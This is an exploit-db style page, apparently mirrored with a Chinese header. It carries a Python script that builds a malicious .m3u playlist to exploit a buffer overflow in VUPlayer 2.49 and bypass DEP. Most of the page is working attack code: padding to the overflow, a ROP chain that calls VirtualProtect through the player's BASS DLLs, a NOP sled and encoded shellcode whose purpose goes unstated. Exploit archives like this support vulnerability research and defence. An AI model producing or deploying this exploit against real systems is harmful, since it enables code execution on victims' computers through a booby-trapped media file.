VUPlayer 2.49 – ‘.m3u’ File Universal Buffer Overflow (DEP Bypass) (2)

  • 作者: Morteza Hashemi
    日期: 2013-12-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30336/
  • # VUPlayer 2.49 (.M3U) Exploit(Universal buffer overflow/DEP bypass)
    # Download: http://vuplayer.com/
    # Tested on Wind0ws XP SP3 DEP:OptOut
    # Author: Lu_c_fer ------>>> Lu_c_fer@aol.com(feel free to tell me your ideas!! :))
    
    # All the Gadgets are from APP's DLLs(I could only use the addresses that doesnt start with null) 
    
    
    
    import struct
    
    p = open("Exploit_VirtualProtect.m3u", "w")
    
    crash = "\x41" * 1012
    
    sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
    "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
    "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
    "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
    "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
    "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
    "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
    "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
    "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
    "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
    "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
    "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
    "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
    "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
    "\x51\x42\x4c\x42\x43\x43\x30\x41\x41")
    
    #---------------------------Setting 0x00000201 into EBX---------------------------- 
    rop = struct.pack('<L',0x10015f77)# POP EAX # RETN
    rop += struct.pack('<L',0x5f5f01ff)
    rop += struct.pack('<L',0x1001e453)# SUB EAX,5F5EFFFE # RETN 0x04
    rop += struct.pack('<L',0x1003a084)
    rop += struct.pack('<L',0x42424242)
    rop += struct.pack('<L',0x1001033f)# INC EAX # RETN
    rop += struct.pack('<L',0x100110ff)# POP EBX # RETN [BASS.dll]
    rop += struct.pack('<L',0xffffffff)#
    rop += struct.pack('<L',0x10015ef2)# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
    
    #---------------------------Setting the pinter to the VirtualProtect into ESI---------------------------- 
    
    rop += struct.pack('<L',0x10015f77)# POP EAX # RETN 
    rop += struct.pack('<L',0x10109270)# ptr to &VirtualProtect() [IAT BASSWMA.dll]
    rop += struct.pack('<L',0x1001eaf1)# MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll] 
    rop += struct.pack('<L',0x10030950)# XCHG EAX,ESI # RETN [BASS.dll] 
    
    #---------------------------Setting 0x00000040 into EDX(*******TRUST ME IT WAS THE ONLY WAY!!! :)******)---------------------------- 
    rop += struct.pack('<L',0x1004041c)# POP EDX # RETN [BASS.dll] 
    rop += struct.pack('<L',0xffffffff)
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    rop += struct.pack('<L',0x100332eb)# INC EDX # RETN
    # EDX is now 0x00000040
    
    
    rop += struct.pack('<L',0x10010157)# POP EBP # RETN [BASS.dll] 
    rop += struct.pack('<L',0x1010539f)# & jmp esp [BASSWMA.dll]
    
    rop += struct.pack('<L',0x10601007)# POP ECX # RETN [BASSMIDI.dll] 
    rop += struct.pack('<L',0x101087c3)# &Writable location [BASSWMA.dll]
    
    rop += struct.pack('<L',0x100190b0)# POP EDI # RETN [BASS.dll] 
    rop += struct.pack('<L',0x1003a084)# RETN (ROP NOP) [BASS.dll]
    
    rop += struct.pack('<L',0x10015fe7)# POP EAX # RETN [BASS.dll] 
    rop += struct.pack('<L',0x90909090)# &Writable location
    
    rop += struct.pack('<L',0x1001d7a5)# PUSHAD # RETN [BASS.dll]
    
    nop = "\x90"*40
    
    payload = crash + rop + nop + sc
     
    
    p.write(payload)
    p.close()